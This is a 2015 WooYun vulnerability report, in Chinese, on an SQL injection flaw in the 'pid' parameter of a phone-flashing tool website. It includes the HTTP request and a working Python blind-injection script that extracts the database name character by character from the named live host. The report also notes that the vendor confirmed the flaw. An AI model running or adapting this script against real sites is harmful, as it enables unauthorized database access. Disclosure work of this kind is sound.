当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0105391

漏洞标题:厦门云游数码科技某站SQL注入漏洞(附验证脚本)

相关厂商:shuajizhushou.cn

漏洞作者: netwind

提交时间:2015-04-03 12:38

修复时间:2015-05-18 14:18

公开时间:2015-05-18 14:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-03: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-13: 细节向核心白帽子及相关领域专家公开
2015-04-23: 细节向普通白帽子公开
2015-05-03: 细节向实习白帽子公开
2015-05-18: 细节向公众公开

简要描述:

之前提交的没提供足够证据,抱歉!

详细说明:

刷机助手某处注入漏洞:

GET /main/CommentList?index=2&pid=j4lgOxWQ* HTTP/1.1 
X-Requested-With: XMLHttpRequest
Referer: http://huawei-u8861-shuajibao.shuajizhijia.net Cookie: ASP.NET_SessionId=rxennnj2xp3gyqoctou0mzmv
Host: huawei-u8861-shuajibao.shuajizhijia.net
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36 Accept: */*


参数PID存在注入漏洞
特别感谢loopx9的指点!
附验证脚本:

#coding=utf-8
import sys,urllib2
from optparse import OptionParser
from urllib2 import Request,urlopen,URLError,HTTPError
import urllib
result=''
def request(URL):
#print URL
user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' }
req = urllib2.Request(URL, None, user_agent)

try:
request = urllib2.urlopen(req)

except HTTPError, e:
if e.code == 500:
return 'Runtime Error'

except URLError, e:
#print('[!] We failed to reach a server.')
#print('[!] Reason: ' + str(e.reason))
sys.exit(1)

return request.read()
def binary_sqli(left, right, index):
global result
while 1:
mid = (left + right)/2
if mid == left:
result += chr(mid)
print 'db_name: ' ,result
break
payload = "'or id<65 and substring(db_name(),%s,1)<%s--" % (index, hex(mid))
param = {'pid': payload}
html = request('http://huawei-u8861-shuajibao.shuajizhijia.net/main/CommentList?index=2&'+urllib.urlencode(param))
#print ('http://huawei-u8861-shuajibao.shuajizhijia.net/main/CommentList?index=2&'+urllib.urlencode(param))
verify = '1355391836830'
if verify in html:
right = mid
else:
left = mid

if __name__ == '__main__':
for i in range(1,150):
binary_sqli(32, 127, i)

漏洞证明:

猜解DB_NAME如下:

1.png

修复方案:

过滤参数

版权声明:转载请注明来源 netwind@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-03 14:16

厂商回复:

十分感谢,请多多帮忙哈

最新状态:

暂无


漏洞评价:

评论